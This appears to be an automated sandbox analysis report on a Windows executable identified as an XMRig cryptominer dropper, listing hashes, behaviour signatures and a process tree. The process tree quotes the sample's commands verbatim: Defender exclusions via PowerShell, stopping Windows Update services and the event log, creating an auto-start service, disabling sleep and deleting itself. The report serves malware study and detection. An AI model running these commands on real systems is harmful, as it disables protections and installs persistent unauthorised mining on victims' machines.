Analysis

  • max time kernel
    119s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    08/09/2024, 20:58

General

  • Target

    817e2124e98b6d92d070fa61890a54d0N.exe

  • Size

    5.5MB

  • MD5

    817e2124e98b6d92d070fa61890a54d0

  • SHA1

    a69dfb184f671f063598e5a6f1317e7ca71f0da6

  • SHA256

    ab5fea51991c40e42ee58972f9a938eddc3ee01b93aa0d25f9806e86689259b1

  • SHA512

    a8aeb2727c1b8fa53cdaed6036e8c58bedd43730aae7ec6ea71920c66629b69ef654d2bdc04af782221be7bcd3e84c1f2fb2bff55e62f93e5ac4c469a49c1ebb

  • SSDEEP

    98304:34Gr/W2hRkTwVNt6MkTi+XAVd18EjU6+cVX6IwUu:3jr/TMwVNtaP4KEjl6S

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\817e2124e98b6d92d070fa61890a54d0N.exe
    "C:\Users\Admin\AppData\Local\Temp\817e2124e98b6d92d070fa61890a54d0N.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1884
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2988
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2720
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2576
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2608
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2628
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:844
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2332
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:236
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2352
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2056
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1552
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "NCUDPJVW"
      2⤵
      • Launches sc.exe
      PID:2344
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "NCUDPJVW" binpath= "C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:336
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2652
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "NCUDPJVW"
      2⤵
      • Launches sc.exe
      PID:2444
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\817e2124e98b6d92d070fa61890a54d0N.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2648
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:1152
    • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
      C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2100
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:404
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:2384
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1060
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2132
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1768
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2028
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:2136
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:636
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2084
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2248
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2244
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2200
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3036

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • \ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe

              Filesize

              5.5MB

              MD5

              817e2124e98b6d92d070fa61890a54d0

              SHA1

              a69dfb184f671f063598e5a6f1317e7ca71f0da6

              SHA256

              ab5fea51991c40e42ee58972f9a938eddc3ee01b93aa0d25f9806e86689259b1

              SHA512

              a8aeb2727c1b8fa53cdaed6036e8c58bedd43730aae7ec6ea71920c66629b69ef654d2bdc04af782221be7bcd3e84c1f2fb2bff55e62f93e5ac4c469a49c1ebb

            • memory/2100-18-0x0000000001340000-0x0000000001348000-memory.dmp

              Filesize

              32KB

            • memory/2100-17-0x0000000019EC0000-0x000000001A1A2000-memory.dmp

              Filesize

              2.9MB

            • memory/2200-26-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2200-19-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2200-20-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2200-21-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2200-22-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2200-23-0x0000000140000000-0x000000014000E000-memory.dmp

              Filesize

              56KB

            • memory/2988-12-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

              Filesize

              9.6MB

            • memory/2988-4-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

              Filesize

              4KB

            • memory/2988-11-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

              Filesize

              9.6MB

            • memory/2988-8-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

              Filesize

              9.6MB

            • memory/2988-9-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

              Filesize

              9.6MB

            • memory/2988-10-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

              Filesize

              9.6MB

            • memory/2988-5-0x000000001B590000-0x000000001B872000-memory.dmp

              Filesize

              2.9MB

            • memory/2988-7-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

              Filesize

              9.6MB

            • memory/2988-6-0x0000000002280000-0x0000000002288000-memory.dmp

              Filesize

              32KB

            • memory/3036-33-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-28-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-35-0x0000000000040000-0x0000000000060000-memory.dmp

              Filesize

              128KB

            • memory/3036-32-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-31-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-30-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-29-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-34-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-36-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-39-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-40-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-38-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-37-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-41-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB

            • memory/3036-42-0x0000000140000000-0x0000000140848000-memory.dmp

              Filesize

              8.3MB